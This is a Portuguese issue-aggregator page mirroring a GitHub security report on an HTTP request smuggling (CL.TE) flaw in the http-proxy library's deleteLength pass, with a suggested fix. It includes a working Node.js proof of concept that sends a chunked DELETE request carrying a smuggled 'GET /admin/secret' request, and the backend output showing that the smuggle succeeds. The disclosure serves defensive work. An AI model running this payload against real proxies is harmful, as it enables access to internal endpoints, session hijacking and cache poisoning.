Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057

Aberta
  • Algo errado?
#1,721 1 comentário 0 reações 0 responsáveis Ver no GitHub

Ninguém assumiu esta issue ainda.

Avaliação

Dificuldade
3/5
Tempo estimado
1-2 dias
Facilidade para iniciantes
72/100
Tipo de issue
Bug
Clareza
Claramente especificada
Status de atividade
Ativa
Stack de tecnologia
javascript, node.js
Domínio
backend, networking, security

Direção de pesquisa

Comece por lib/http-proxy/passes/web-incoming.js e, em seguida, execute a reprodução de keep-alive fornecida para observar como a requisição DELETE e a requisição contrabandeada chegam ao backend. O trabalho estará concluído quando o proxy não criar mais o framing conflitante mostrado na issue, enquanto requisições DELETE e OPTIONS legítimas sem nenhum dos dois headers continuarem funcionando com segurança.

Escrita pelo modelo de indexação a partir do texto da issue.

Descrição

Summary

The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.

CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.

Affected

  • Package: http-proxy
  • Version: 1.18.1 (latest, released 2020-05-17)
  • All versions since v0.9.0

Root Cause

lib/http-proxy/passes/web-incoming.js:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']) {
      req.headers['content-length'] = '0';
      delete req.headers['transfer-encoding'];
    }
},

Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).

Reproduction

const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');

const backend = http.createServer((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk.toString());
  req.on('end', () => {
    console.log(`[BACKEND] ${req.method} ${req.url}`);
    res.end('OK');
  });
});

backend.listen(9001, () => {
  const httpAgent = new http.Agent({ keepAlive: true });
  const proxy = httpProxy.createProxyServer({
    target: 'http://127.0.0.1:9001',
    agent: httpAgent  // keep-alive required for smuggling
  });
  const server = http.createServer((req, res) => proxy.web(req, res));

  server.listen(9000, () => {
    const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
    const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';

    client.write(
      'DELETE /api HTTP/1.1\r\n' +
      'Host: localhost\r\n' +
      'Transfer-Encoding: chunked\r\n' +
      '\r\n' +
      smuggled.length.toString(16) + '\r\n' +
      smuggled +
      '\r\n0\r\n\r\n'
    );
  });
});

Output:

[BACKEND] DELETE /api
[BACKEND] GET /admin/secret  ← smuggled request parsed

Preconditions

  1. Proxy must use a keep-alive agent (default config uses Connection: close which prevents smuggling)
  2. Backend must reuse connections
  3. Attacker can send requests to the proxy

Impact

  • Request smuggling: arbitrary second request injected to backend
  • Access internal endpoints bypassing proxy routing
  • Session hijacking via shared connection context
  • Cache poisoning

Suggested Fix

Apply the same fix Next.js applied:

deleteLength: function deleteLength(req, res, options) {
    if((req.method === 'DELETE' || req.method === 'OPTIONS')
       && !req.headers['content-length']
       && !req.headers['transfer-encoding']) {
      req.headers['content-length'] = '0';
      // Do NOT delete transfer-encoding
    }
},

References

  • CVE-2026-29057 (assigned to Next.js for this issue)
  • Next.js fix: only add Content-Length: 0 when both headers absent

Reported by: @Black1hp

Linguagem predominante
JavaScript
Estrelas
14.1k
Forks
2k
Nenhum PR com merge em 30d

Preparar o ambiente

Este projeto não oferece contêiner de desenvolvimento, Dockerfile nem guia de contribuição, então a configuração fica por sua conta: comece pelo README e veja nosso guia da primeira contribuição para os passos gerais.

Primeiros passos

  1. Leia a issue inteira e depois o guia de contribuição do projeto.
  2. Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
  3. Faça um fork do repositório e trabalhe em uma branch.
  4. Abra um pull request que referencie o número da issue.

Mais de http-party/node-http-proxy

Todas as issues de http-party/node-http-proxy

Issues semelhantes

Mais issues de JavaScript

Receba novas issues na sua caixa de entrada

Um resumo curto de issues do GitHub para quem está começando.